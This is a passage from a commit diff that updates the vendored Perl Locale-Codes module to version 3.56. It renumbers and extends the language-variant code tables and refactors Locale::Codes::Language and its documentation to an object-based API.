       q(Unifon phonetic alphabet),
       ],
-   q(0073) => [
+   q(0081) => [
       q(Vedic Sanskrit),
       ],
-   q(0074) => [
+   q(0082) => [
       q(Valencian),
       ],
-   q(0075) => [
+   q(0083) => [
       q(Vallader idiom of Romansh),
       ],
-   q(0076) => [
+   q(0084) => [
       q(Wade-Giles romanization),
       ],
+   q(0085) => [
+      q(Standard X-system orthographic fallback for spelling Esperanto),
+      ],
 };
 
 $Locale::Codes::Data{'langvar'}{'alias2id'} = {
@@ -274,6 +302,10 @@
       q(0004),
       q(0),
       ],
+   q(akuapem twi) => [
+      q(0010),
+      q(0),
+      ],
    q(ala-lc romanization, 1997 edition) => [
       q(0008),
       q(0),
@@ -283,27 +315,35 @@
       q(0),
       ],
    q(americanist phonetic notation) => [
-      q(0028),
+      q(0030),
       q(1),
       ],
    q(anglo-cornish) => [
-      q(0023),
+      q(0025),
       q(2),
       ],
+   q(asante twi) => [
+      q(0014),
+      q(0),
+      ],
+   q(ashanti twi) => [
+      q(0014),
+      q(1),
+      ],
    q(aukan dialect) => [
-      q(0045),
+      q(0049),
       q(1),
       ],
    q(basic english) => [
-      q(0016),
+      q(0018),
       q(0),
       ],
    q(belarusian in taraskievica orthography) => [
-      q(0068),
+      q(0076),
       q(0),
       ],
    q(biscayan dialect of basque) => [
-      q(0018),
+      q(0020),
       q(0),
       ],
    q(boni dialect) => [
@@ -311,39 +351,43 @@
       q(1),
       ],
    q(boontling) => [
-      q(0021),
+      q(0023),
       q(0),
       ],
    q(buddhist hybrid sanskrit) => [
-      q(0017),
+      q(0019),
       q(0),
       ],
+   q(bulgarian in 1899 orthography) => [
+      q(0038),
+      q(0),
+      ],
    q(classic volapuk) => [
-      q(0057),
+      q(0064),
       q(3),
       ],
    q(classical sanskrit) => [
-      q(0040),
+      q(0044),
       q(0),
       ],
    q(common cornish orthography of revived cornish) => [
-      q(0037),
+      q(0041),
       q(0),
       ],
    q(cornish english) => [
-      q(0023),
+      q(0025),
       q(1),
       ],
    q(cornu-english) => [
-      q(0023),
+      q(0025),
       q(0),
       ],
    q(de jong's volapuk) => [
-      q(0049),
+      q(0053),
       q(3),
       ],
    q(early modern english (1500-1700)) => [
-      q(0026),
+      q(0028),
       q(0),
       ],
    q(early modern french) => [
@@ -351,11 +395,11 @@
       q(0),
       ],
    q(eastern armenian) => [
-      q(0011),
+      q(0012),
       q(0),
       ],
    q(epic sanskrit) => [
-      q(0034),
+      q(0037),
       q(0),
       ],
    q(german orthography of 1996) => [
@@ -363,23 +407,23 @@
       q(0),
       ],
    q(hepburn romanization) => [
-      q(0031),
+      q(0033),
       q(0),
       ],
    q(international phonetic alphabet) => [
-      q(0027),
+      q(0029),
       q(0),
       ],
    q(jauer dialect of romansh) => [
-      q(0035),
+      q(0039),
       q(0),
       ],
    q(jyutping cantonese romanization) => [
-      q(0036),
+      q(0040),
       q(0),
       ],
    q(kernowek standard) => [
-      q(0039),
+      q(0043),
       q(1),
       ],
    q(late middle french (to 1606)) => [
@@ -387,43 +431,43 @@
       q(0),
       ],
    q(modern volapuk) => [
-      q(0049),
+      q(0053),
       q(6),
       ],
    q(monotonic greek) => [
-      q(0044),
+      q(0048),
       q(0),
       ],
    q(nadiza dialect) => [
-      q(0046),
+      q(0050),
       q(1),
       ],
    q(natisone dialect) => [
-      q(0046),
+      q(0050),
       q(0),
       ],
    q(ndyuka dialect) => [
-      q(0045),
+      q(0049),
       q(0),
       ],
    q(new volapuk) => [
-      q(0049),
+      q(0053),
       q(4),
       ],
    q(newfoundland english) => [
-      q(0047),
+      q(0051),
       q(0),
       ],
    q(north american phonetic alphabet) => [
-      q(0028),
+      q(0030),
       q(0),
       ],
    q(norwegian in hognorsk (high norwegian) orthography) => [
-      q(0032),
+      q(0034),
       q(0),
       ],
    q(original volapuk) => [
-      q(0057),
+      q(0064),
       q(2),
       ],
    q(orthographic formulation of 1943 - official in brazil (formulario ortografico de 1943 - oficial no brasil)) => [
@@ -431,171 +475,195 @@
       q(0),
       ],
    q(oxford english dictionary spelling) => [
-      q(0051),
+      q(0055),
       q(0),
       ],
+   q(pahawh hmong final version orthography) => [
+      q(0058),
+      q(0),
+      ],
+   q(pahawh hmong second stage reduced orthography) => [
+      q(0056),
+      q(0),
+      ],
+   q(pahawh hmong third stage reduced orthography) => [
+      q(0057),
+      q(0),
+      ],
    q(pamaka dialect) => [
-      q(0052),
+      q(0059),
       q(0),
       ],
    q(petrine orthography) => [
-      q(0053),
+      q(0060),
       q(0),
       ],
    q(pinyin romanization) => [
-      q(0054),
+      q(0061),
       q(0),
       ],
    q(polytonic greek) => [
-      q(0055),
+      q(0062),
       q(0),
       ],
    q(portuguese language orthographic agreement of 1990 (acordo ortografico da lingua portuguesa de 1990)) => [
-      q(0010),
+      q(0011),
       q(0),
       ],
    q(portuguese-brazilian orthographic convention of 1945 (convencao ortografica luso-brasileira de 1945)) => [
-      q(0022),
+      q(0024),
       q(0),
       ],
    q(post-1917 russian orthography) => [
-      q(0042),
+      q(0046),
       q(0),
       ],
    q(puter idiom of romansh) => [
-      q(0056),
+      q(0063),
       q(0),
       ],
    q(resian) => [
-      q(0058),
+      q(0065),
       q(0),
       ],
    q(resianic) => [
-      q(0058),
+      q(0065),
       q(1),
       ],
    q(revised volapuk) => [
-      q(0049),
+      q(0053),
       q(5),
       ],
    q(rezijan) => [
-      q(0058),
+      q(0065),
       q(2),
       ],
    q(rumantsch grischun) => [
-      q(0059),
+      q(0066),
       q(0),
       ],
    q(schleyer's volapuk) => [
-      q(0057),
+      q(0064),
       q(1),
       ],
    q(scottish standard english) => [
-      q(0060),
+      q(0067),
       q(0),
       ],
    q(scouse) => [
-      q(0061),
+      q(0068),
       q(0),
       ],
    q(serbian with ekavian pronunciation) => [
-      q(0025),
+      q(0027),
       q(0),
       ],
    q(serbian with ijekavian pronunciation) => [
-      q(0033),
+      q(0036),
       q(0),
       ],
    q(simplified form) => [
-      q(0062),
+      q(0069),
       q(0),
       ],
    q(slovene in bohoric alphabet) => [
-      q(0020),
+      q(0022),
       q(0),
       ],
    q(slovene in dajnko alphabet) => [
-      q(0024),
+      q(0026),
       q(0),
       ],
    q(slovene in metelko alphabet) => [
-      q(0043),
+      q(0047),
       q(0),
       ],
+   q(spanglish) => [
+      q(0072),
+      q(0),
+      ],
    q(standard cornish orthography of revived cornish) => [
-      q(0039),
+      q(0043),
       q(0),
       ],
+   q(standard h-system orthographic fallback for spelling esperanto) => [
+      q(0035),
+      q(0),
+      ],
+   q(standard x-system orthographic fallback for spelling esperanto) => [
+      q(0085),
+      q(0),
+      ],
    q(standardized resian orthography) => [
       q(0005),
       q(0),
       ],
    q(surmiran idiom of romansh) => [
-      q(0065),
+      q(0073),
       q(0),
       ],
    q(sursilvan idiom of romansh) => [
-      q(0066),
+      q(0074),
       q(0),
       ],
    q(sutsilvan idiom of romansh) => [
-      q(0067),
+      q(0075),
       q(0),
       ],
    q(the balanka dialect of anii) => [
-      q(0014),
+      q(0016),
       q(0),
       ],
    q(the barlavento dialect group of kabuverdianu) => [
-      q(0015),
+      q(0017),
       q(0),
       ],
    q(the bila dialect of resian) => [
-      q(0019),
+      q(0021),
       q(1),
       ],
    q(the gniva dialect of resian) => [
-      q(0048),
+      q(0052),
       q(0),
       ],
    q(the kociewie dialect of polish) => [
-      q(0038),
+      q(0042),
       q(0),
       ],
    q(the lipovaz dialect of resian) => [
-      q(0041),
+      q(0045),
       q(0),
       ],
    q(the lipovec dialect of resian) => [
-      q(0041),
+      q(0045),
       q(1),
       ],
    q(the njiva dialect of resian) => [
-      q(0048),
+      q(0052),
       q(1),
       ],
    q(the oseacco dialect of resian) => [
-      q(0050),
+      q(0054),
       q(0),
       ],
    q(the osojane dialect of resian) => [
-      q(0050),
+      q(0054),
       q(1),
       ],
    q(the san giorgio dialect of resian) => [
-      q(0019),
+      q(0021),
       q(0),
       ],
    q(the solbica dialect of resian) => [
-      q(0063),
+      q(0070),
       q(1),
       ],
    q(the sotavento dialect group of kabuverdianu) => [
-      q(0064),
+      q(0071),
       q(0),
       ],
    q(the stolvizza dialect of resian) => [
-      q(0063),
+      q(0070),
       q(0),
       ],
    q(traditional german orthography) => [
@@ -603,67 +671,67 @@
       q(0),
       ],
    q(ulster dialect of scots) => [
-      q(0071),
+      q(0079),
       q(0),
       ],
    q(unified cornish orthography of revived cornish) => [
-      q(0069),
+      q(0077),
       q(0),
       ],
    q(unified cornish revised orthography of revived cornish) => [
-      q(0070),
+      q(0078),
       q(0),
       ],
    q(unified turkic latin alphabet (historical)) => [
-      q(0013),
+      q(0015),
       q(0),
       ],
    q(unifon phonetic alphabet) => [
-      q(0072),
+      q(0080),
       q(0),
       ],
    q(uralic phonetic alphabet) => [
-      q(0029),
+      q(0031),
       q(0),
       ],
    q(valencian) => [
-      q(0074),
+      q(0082),
       q(0),
       ],
    q(vallader idiom of romansh) => [
-      q(0075),
+      q(0083),
       q(0),
       ],
    q(vedic sanskrit) => [
-      q(0073),
+      q(0081),
       q(0),
       ],
    q(volapuk nuladik) => [
-      q(0049),
+      q(0053),
       q(2),
       ],
    q(volapuk nulik) => [
-      q(0049),
+      q(0053),
       q(0),
       ],
    q(volapuk perevidol) => [
-      q(0049),
+      q(0053),
       q(1),
       ],
    q(volapuk rigik) => [
-      q(0057),
+      q(0064),
       q(0),
       ],
    q(wade-giles romanization) => [
-      q(0076),
+      q(0084),
       q(0),
       ],
    q(western armenian) => [
-      q(0012),
+      q(0013),
       q(0),
       ],
    q(x-sampa transcription) => [
-      q(0030),
+      q(0032),
       q(0),
       ],
 };
@@ -698,6 +766,10 @@
          q(0007),
          q(0),
          ],
+      q(akuapem) => [
+         q(0010),
+         q(0),
+         ],
       q(alalc97) => [
          q(0008),
          q(0),
@@ -707,273 +779,305 @@
          q(0),
          ],
       q(ao1990) => [
-         q(0010),
+         q(0011),
          q(0),
          ],
       q(arevela) => [
-         q(0011),
+         q(0012),
          q(0),
          ],
       q(arevmda) => [
-         q(0012),
+         q(0013),
          q(0),
          ],
+      q(asante) => [
+         q(0014),
+         q(0),
+         ],
       q(baku1926) => [
-         q(0013),
+         q(0015),
          q(0),
          ],
       q(balanka) => [
-         q(0014),
+         q(0016),
          q(0),
          ],
       q(barla) => [
-         q(0015),
+         q(0017),
          q(0),
          ],
       q(basiceng) => [
-         q(0016),
+         q(0018),
          q(0),
          ],
       q(bauddha) => [
-         q(0017),
+         q(0019),
          q(0),
          ],
       q(biscayan) => [
-         q(0018),
+         q(0020),
          q(0),
          ],
       q(biske) => [
-         q(0019),
+         q(0021),
          q(0),
          ],
       q(bohoric) => [
-         q(0020),
+         q(0022),
          q(0),
          ],
       q(boont) => [
-         q(0021),
+         q(0023),
          q(0),
          ],
       q(colb1945) => [
-         q(0022),
+         q(0024),
          q(0),
          ],
       q(cornu) => [
-         q(0023),
+         q(0025),
          q(0),
          ],
       q(dajnko) => [
-         q(0024),
+         q(0026),
          q(0),
          ],
       q(ekavsk) => [
-         q(0025),
+         q(0027),
          q(0),
          ],
       q(emodeng) => [
-         q(0026),
+         q(0028),
          q(0),
          ],
       q(fonipa) => [
-         q(0027),
+         q(0029),
          q(0),
          ],
       q(fonnapa) => [
-         q(0028),
+         q(0030),
          q(0),
          ],
       q(fonupa) => [
-         q(0029),
+         q(0031),
          q(0),
          ],
       q(fonxsamp) => [
-         q(0030),
+         q(0032),
          q(0),
          ],
       q(hepburn) => [
-         q(0031),
+         q(0033),
          q(0),
          ],
       q(hognorsk) => [
-         q(0032),
+         q(0034),
          q(0),
          ],
+      q(hsistemo) => [
+         q(0035),
+         q(0),
+         ],
       q(ijekavsk) => [
-         q(0033),
+         q(0036),
          q(0),
          ],
       q(itihasa) => [
-         q(0034),
+         q(0037),
          q(0),
          ],
+      q(ivanchov) => [
+         q(0038),
+         q(0),
+         ],
       q(jauer) => [
-         q(0035),
+         q(0039),
          q(0),
          ],
       q(jyutping) => [
-         q(0036),
+         q(0040),
          q(0),
          ],
       q(kkcor) => [
-         q(0037),
+         q(0041),
          q(0),
          ],
       q(kociewie) => [
-         q(0038),
+         q(0042),
          q(0),
          ],
       q(kscor) => [
-         q(0039),
+         q(0043),
          q(0),
          ],
       q(laukika) => [
-         q(0040),
+         q(0044),
          q(0),
          ],
       q(lipaw) => [
-         q(0041),
+         q(0045),
          q(0),
          ],
       q(luna1918) => [
-         q(0042),
+         q(0046),
          q(0),
          ],
       q(metelko) => [
-         q(0043),
+         q(0047),
          q(0),
          ],
       q(monoton) => [
-         q(0044),
+         q(0048),
          q(0),
          ],
       q(ndyuka) => [
-         q(0045),
+         q(0049),
          q(0),
          ],
       q(nedis) => [
-         q(0046),
+         q(0050),
          q(0),
          ],
       q(newfound) => [
-         q(0047),
+         q(0051),
          q(0),
          ],
       q(njiva) => [
-         q(0048),
+         q(0052),
          q(0),
          ],
       q(nulik) => [
-         q(0049),
+         q(0053),
          q(0),
          ],
       q(osojs) => [
-         q(0050),
+         q(0054),
          q(0),
          ],
       q(oxendict) => [
-         q(0051),
+         q(0055),
          q(0),
          ],
+      q(pahawh2) => [
+         q(0056),
+         q(0),
+         ],
+      q(pahawh3) => [
+         q(0057),
+         q(0),
+         ],
+      q(pahawh4) => [
+         q(0058),
+         q(0),
+         ],
       q(pamaka) => [
-         q(0052),
+         q(0059),
          q(0),
          ],
       q(petr1708) => [
-         q(0053),
+         q(0060),
          q(0),
          ],
       q(pinyin) => [
-         q(0054),
+         q(0061),
          q(0),
          ],
       q(polyton) => [
-         q(0055),
+         q(0062),
          q(0),
          ],
       q(puter) => [
-         q(0056),
+         q(0063),
          q(0),
          ],
       q(rigik) => [
-         q(0057),
+         q(0064),
          q(0),
          ],
       q(rozaj) => [
-         q(0058),
+         q(0065),
          q(0),
          ],
       q(rumgr) => [
-         q(0059),
+         q(0066),
          q(0),
          ],
       q(scotland) => [
-         q(0060),
+         q(0067),
          q(0),
          ],
       q(scouse) => [
-         q(0061),
+         q(0068),
          q(0),
          ],
       q(simple) => [
-         q(0062),
+         q(0069),
          q(0),
          ],
       q(solba) => [
-         q(0063),
+         q(0070),
          q(0),
          ],
       q(sotav) => [
-         q(0064),
+         q(0071),
          q(0),
          ],
+      q(spanglis) => [
+         q(0072),
+         q(0),
+         ],
       q(surmiran) => [
-         q(0065),
+         q(0073),
          q(0),
          ],
       q(sursilv) => [
-         q(0066),
+         q(0074),
          q(0),
          ],
       q(sutsilv) => [
-         q(0067),
+         q(0075),
          q(0),
          ],
       q(tarask) => [
-         q(0068),
+         q(0076),
          q(0),
          ],
       q(uccor) => [
-         q(0069),
+         q(0077),
          q(0),
          ],
       q(ucrcor) => [
-         q(0070),
+         q(0078),
          q(0),
          ],
       q(ulster) => [
-         q(0071),
+         q(0079),
          q(0),
          ],
       q(unifon) => [
-         q(0072),
+         q(0080),
          q(0),
          ],
       q(vaidika) => [
-         q(0073),
+         q(0081),
          q(0),
          ],
       q(valencia) => [
-         q(0074),
+         q(0082),
          q(0),
          ],
       q(vallader) => [
-         q(0075),
+         q(0083),
          q(0),
          ],
       q(wadegile) => [
-         q(0076),
+         q(0084),
          q(0),
          ],
+      q(xsistemo) => [
+         q(0085),
+         q(0),
+         ],
       },
 };
 
@@ -988,73 +1092,82 @@
       q(0007) => q(abl1943),
       q(0008) => q(alalc97),
       q(0009) => q(aluku),
-      q(0010) => q(ao1990),
-      q(0011) => q(arevela),
-      q(0012) => q(arevmda),
-      q(0013) => q(baku1926),
-      q(0014) => q(balanka),
-      q(0015) => q(barla),
-      q(0016) => q(basiceng),
-      q(0017) => q(bauddha),
-      q(0018) => q(biscayan),
-      q(0019) => q(biske),
-      q(0020) => q(bohoric),
-      q(0021) => q(boont),
-      q(0022) => q(colb1945),
-      q(0023) => q(cornu),
-      q(0024) => q(dajnko),
-      q(0025) => q(ekavsk),
-      q(0026) => q(emodeng),
-      q(0027) => q(fonipa),
-      q(0028) => q(fonnapa),
-      q(0029) => q(fonupa),
-      q(0030) => q(fonxsamp),
-      q(0031) => q(hepburn),
-      q(0032) => q(hognorsk),
-      q(0033) => q(ijekavsk),
-      q(0034) => q(itihasa),
-      q(0035) => q(jauer),
-      q(0036) => q(jyutping),
-      q(0037) => q(kkcor),
-      q(0038) => q(kociewie),
-      q(0039) => q(kscor),
-      q(0040) => q(laukika),
-      q(0041) => q(lipaw),
-      q(0042) => q(luna1918),
-      q(0043) => q(metelko),
-      q(0044) => q(monoton),
-      q(0045) => q(ndyuka),
-      q(0046) => q(nedis),
-      q(0047) => q(newfound),
-      q(0048) => q(njiva),
-      q(0049) => q(nulik),
-      q(0050) => q(osojs),
-      q(0051) => q(oxendict),
-      q(0052) => q(pamaka),
-      q(0053) => q(petr1708),
-      q(0054) => q(pinyin),
-      q(0055) => q(polyton),
-      q(0056) => q(puter),
-      q(0057) => q(rigik),
-      q(0058) => q(rozaj),
-      q(0059) => q(rumgr),
-      q(0060) => q(scotland),
-      q(0061) => q(scouse),
-      q(0062) => q(simple),
-      q(0063) => q(solba),
-      q(0064) => q(sotav),
-      q(0065) => q(surmiran),
-      q(0066) => q(sursilv),
-      q(0067) => q(sutsilv),
-      q(0068) => q(tarask),
-      q(0069) => q(uccor),
-      q(0070) => q(ucrcor),
-      q(0071) => q(ulster),
-      q(0072) => q(unifon),
-      q(0073) => q(vaidika),
-      q(0074) => q(valencia),
-      q(0075) => q(vallader),
-      q(0076) => q(wadegile),
+      q(0010) => q(akuapem),
+      q(0011) => q(ao1990),
+      q(0012) => q(arevela),
+      q(0013) => q(arevmda),
+      q(0014) => q(asante),
+      q(0015) => q(baku1926),
+      q(0016) => q(balanka),
+      q(0017) => q(barla),
+      q(0018) => q(basiceng),
+      q(0019) => q(bauddha),
+      q(0020) => q(biscayan),
+      q(0021) => q(biske),
+      q(0022) => q(bohoric),
+      q(0023) => q(boont),
+      q(0024) => q(colb1945),
+      q(0025) => q(cornu),
+      q(0026) => q(dajnko),
+      q(0027) => q(ekavsk),
+      q(0028) => q(emodeng),
+      q(0029) => q(fonipa),
+      q(0030) => q(fonnapa),
+      q(0031) => q(fonupa),
+      q(0032) => q(fonxsamp),
+      q(0033) => q(hepburn),
+      q(0034) => q(hognorsk),
+      q(0035) => q(hsistemo),
+      q(0036) => q(ijekavsk),
+      q(0037) => q(itihasa),
+      q(0038) => q(ivanchov),
+      q(0039) => q(jauer),
+      q(0040) => q(jyutping),
+      q(0041) => q(kkcor),
+      q(0042) => q(kociewie),
+      q(0043) => q(kscor),
+      q(0044) => q(laukika),
+      q(0045) => q(lipaw),
+      q(0046) => q(luna1918),
+      q(0047) => q(metelko),
+      q(0048) => q(monoton),
+      q(0049) => q(ndyuka),
+      q(0050) => q(nedis),
+      q(0051) => q(newfound),
+      q(0052) => q(njiva),
+      q(0053) => q(nulik),
+      q(0054) => q(osojs),
+      q(0055) => q(oxendict),
+      q(0056) => q(pahawh2),
+      q(0057) => q(pahawh3),
+      q(0058) => q(pahawh4),
+      q(0059) => q(pamaka),
+      q(0060) => q(petr1708),
+      q(0061) => q(pinyin),
+      q(0062) => q(polyton),
+      q(0063) => q(puter),
+      q(0064) => q(rigik),
+      q(0065) => q(rozaj),
+      q(0066) => q(rumgr),
+      q(0067) => q(scotland),
+      q(0068) => q(scouse),
+      q(0069) => q(simple),
+      q(0070) => q(solba),
+      q(0071) => q(sotav),
+      q(0072) => q(spanglis),
+      q(0073) => q(surmiran),
+      q(0074) => q(sursilv),
+      q(0075) => q(sutsilv),
+      q(0076) => q(tarask),
+      q(0077) => q(uccor),
+      q(0078) => q(ucrcor),
+      q(0079) => q(ulster),
+      q(0080) => q(unifon),
+      q(0081) => q(vaidika),
+      q(0082) => q(valencia),
+      q(0083) => q(vallader),
+      q(0084) => q(wadegile),
+      q(0085) => q(xsistemo),
       },
 };
 

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangVar_Retired.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangVar_Retired.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangVar_Retired.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'deprecate_codes' is run.
-#    Generated on: Fri Nov 18 09:22:54 EST 2016
+#    Generated on: Fri Feb 23 12:58:17 EST 2018
 
 use strict;
 require 5.006;
@@ -11,7 +11,7 @@
 use utf8;
 
 our($VERSION);
-$VERSION='3.42';
+$VERSION='3.56';
 
 $Locale::Codes::Retired{'langvar'}{'alpha'}{'code'} = {
 };

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Language.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Language.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Language.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,99 +1,94 @@
 package Locale::Codes::Language;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2016 Sullivan Beck
+# Copyright (c) 2010-2018 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
+# This file was automatically generated.  Any changes to this file will
+# be lost the next time 'gen_mods' is run.
+#    Generated on: Fri Feb 23 12:55:25 EST 2018
+
 use strict;
+use warnings;
 require 5.006;
-use warnings;
+use Exporter qw(import);
 
-require Exporter;
-use Carp;
+our($VERSION, at EXPORT);
+$VERSION   = '3.56';
+
+################################################################################
+use if $] >= 5.027007, 'deprecate';
 use Locale::Codes;
 use Locale::Codes::Constants;
-use Locale::Codes::Language_Codes;
-use Locale::Codes::Language_Retired;
 
-#=======================================================================
-#       Public Global Variables
-#=======================================================================
-
-our($VERSION, at ISA, at EXPORT, at EXPORT_OK);
-
-$VERSION='3.42';
- at ISA       = qw(Exporter);
- at EXPORT    = qw(code2language
+ at EXPORT    = qw(
+                code2language
                 language2code
                 all_language_codes
                 all_language_names
                 language_code2code
-                LOCALE_LANG_ALPHA_2
-                LOCALE_LANG_ALPHA_3
-                LOCALE_LANG_TERM
                );
+push(@EXPORT, at Locale::Codes::Constants::CONSTANTS_LANGUAGE);
 
+our $obj = new Locale::Codes('language');
+$obj->show_errors(0);
+
+sub show_errors {
+   my($val) = @_;
+   $obj->show_errors($val);
+}
+
 sub code2language {
-   return Locale::Codes::_code2name('language', at _);
+   return $obj->code2name(@_);
 }
 
 sub language2code {
-   return Locale::Codes::_name2code('language', at _);
+   return $obj->name2code(@_);
 }
 
 sub language_code2code {
-   return Locale::Codes::_code2code('language', at _);
+   return $obj->code2code(@_);
 }
 
 sub all_language_codes {
-   return Locale::Codes::_all_codes('language', at _);
+   return $obj->all_codes(@_);
 }
 
 sub all_language_names {
-   return Locale::Codes::_all_names('language', at _);
+   return $obj->all_names(@_);
 }
 
 sub rename_language {
-   return Locale::Codes::_rename('language', at _);
+   return $obj->rename_code(@_);
 }
 
 sub add_language {
-   return Locale::Codes::_add_code('language', at _);
+   return $obj->add_code(@_);
 }
 
 sub delete_language {
-   return Locale::Codes::_delete_code('language', at _);
+   return $obj->delete_code(@_);
 }
 
 sub add_language_alias {
-   return Locale::Codes::_add_alias('language', at _);
+   return $obj->add_alias(@_);
 }
 
 sub delete_language_alias {
-   return Locale::Codes::_delete_alias('language', at _);
+   return $obj->delete_alias(@_);
 }
 
 sub rename_language_code {
-   return Locale::Codes::_rename_code('language', at _);
+   return $obj->replace_code(@_);
 }
 
 sub add_language_code_alias {
-   return Locale::Codes::_add_code_alias('language', at _);
+   return $obj->add_code_alias(@_);
 }
 
 sub delete_language_code_alias {
-   return Locale::Codes::_delete_code_alias('language', at _);
+   return $obj->delete_code_alias(@_);
 }
 
 1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Language.pod
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Language.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Language.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,14 +2,14 @@
 
 =head1 NAME
 
-Locale::Codes::Language - standard codes for language identification
+Locale::Codes::Language - module for dealing with language code sets
 
 =head1 SYNOPSIS
 
    use Locale::Codes::Language;
 
-   $lang = code2language('en');        # $lang gets 'English'
-   $code = language2code('French');    # $code gets 'fr'
+   $name = code2language(CODE);
+   $code = language2code(NAME);
 
    @codes   = all_language_codes();
    @names   = all_language_names();
@@ -16,80 +16,93 @@
 
 =head1 DESCRIPTION
 
-This module provides access to standard codes used
-for identifying languages, such as those as defined in ISO 639.
+This module provides access to language code sets.
 
+Please refer to the L<Locale::Codes::Types> document for a description
+of the code sets available.
+
 Most of the routines take an optional additional argument which
-specifies the code set to use. If not specified, the default ISO
-639 two-letter codes will be used.
+specifies the code set to use. The code set can be specified using the
+name of a code set, or the perl constant specified in the above
+document.  If not specified, the default code set will be used.
 
-=head1 SUPPORTED CODE SETS
+=head1 ROUTINES
 
-There are several different code sets you can use for identifying
-languages. A code set may be specified using either a name, or a
-constant that is automatically exported by this module.
+All routines in this module call the appropriate method in the
+L<Locale::Codes> module, using an object of type: language
+Please refer to the documentation of the L<Locale::Codes> module
+for details about each function.
 
-For example, the two are equivalent:
+The following functions are exported automatically:
 
-   $lang = code2language('en','alpha-2');
-   $lang = code2language('en',LOCALE_LANG_ALPHA_2);
+=over 4
 
-The codesets currently supported are:
+=item B<code2language(CODE [,CODESET] [,'retired'])>
 
-=over 4
+See B<code2name> in L<Locale::Codes>
 
-=item B<alpha-2, LOCALE_LANG_ALPHA_2>
+=item B<language2code(NAME [,CODESET] [,'retired'])>
 
-This is the set of two-letter (lowercase) codes from ISO 639-1, such
-as 'he' for Hebrew.  It also includes additions to this set included
-in the IANA language registry.
+See B<name2code> in L<Locale::Codes>
 
-This is the default code set.
+=item B<language_code2code(CODE ,CODESET ,CODESET2)>
 
-=item B<alpha-3, LOCALE_LANG_ALPHA_3>
+See B<code2code> in L<Locale::Codes>
 
-This is the set of three-letter (lowercase) bibliographic codes from
-ISO 639-2 and 639-5, such as 'heb' for Hebrew.  It also includes
-additions to this set included in the IANA language registry.
+=item B<all_language_codes([CODESET] [,'retired'])>
 
-=item B<term, LOCALE_LANG_TERM>
+See B<all_codes> in L<Locale::Codes>
 
-This is the set of three-letter (lowercase) terminologic codes from
-ISO 639.
+=item B<all_language_names([CODESET] [,'retired'])>
 
+See B<all_names> in L<Locale::Codes>
+
 =back
 
-=head1 ROUTINES
+The following functions are not exported and must be called fully
+qualified with the package name:
 
 =over 4
 
-=item B<code2language(CODE [,CODESET] [,'retired'])>
+=item B<Locale::Codes::Language::show_errors(FLAG)>
 
-=item B<language2code(NAME [,CODESET] [,'retired'])>
+By default, invalid input will produce empty results, but no errors.  By
+passing in a non-zero value of FLAG, errors will be produced.
 
-=item B<language_code2code(CODE ,CODESET ,CODESET2)>
+See B<show_errors> in L<Locale::Codes> but note that the default for
+the non-OO modules are to NOT produce errors.
 
-=item B<all_language_codes([CODESET] [,'retired'])>
+=item B<Locale::Codes::Language::rename_language(CODE ,NEW_NAME [,CODESET])>
 
-=item B<all_language_names([CODESET] [,'retired'])>
+See B<rename_code> in L<Locale::Codes>
 
-=item B<Locale::Codes::Language::rename_language(CODE ,NEW_NAME [,CODESET])>
-
 =item B<Locale::Codes::Language::add_language(CODE ,NAME [,CODESET])>
 
+See B<add_code> in L<Locale::Codes>
+
 =item B<Locale::Codes::Language::delete_language(CODE [,CODESET])>
 
+See B<delete_code> in L<Locale::Codes>
+
 =item B<Locale::Codes::Language::add_language_alias(NAME ,NEW_NAME)>
 
+See B<add_alias> in L<Locale::Codes>
+
 =item B<Locale::Codes::Language::delete_language_alias(NAME)>
 
+See B<delete_alias> in L<Locale::Codes>
+
 =item B<Locale::Codes::Language::rename_language_code(CODE ,NEW_CODE [,CODESET])>
 
+See B<replace_code> in L<Locale::Codes>
+
 =item B<Locale::Codes::Language::add_language_code_alias(CODE ,NEW_CODE [,CODESET])>
 
+See B<add_code_alias> in L<Locale::Codes>
+
 =item B<Locale::Codes::Language::delete_language_code_alias(CODE [,CODESET])>
 
-These routines are all documented in the L<Locale::Codes::API> man page.
+See B<delete_code_alias> in L<Locale::Codes>
 
 =back
 
@@ -101,22 +114,6 @@
 
 The Locale-Codes distribution.
 
-=item L<Locale::Codes::API>
-
-The list of functions supported by this module.
-
-=item L<http://www.loc.gov/standards/iso639-2/>
-
-Source of the ISO 639-2 codes.
-
-=item L<http://www.loc.gov/standards/iso639-5/>
-
-Source of the ISO 639-5 codes.
-
-=item L<http://www.iana.org/assignments/language-subtag-registry>
-
-The IANA language subtag registry.
-
 =back
 
 =head1 AUTHOR
@@ -127,9 +124,7 @@
 
 =head1 COPYRIGHT
 
-   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
-   Copyright (c) 2001-2010 Neil Bowers
-   Copyright (c) 2010-2016 Sullivan Beck
+   Copyright (c) 2011-2018 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Language_Codes.pm
===================================================================
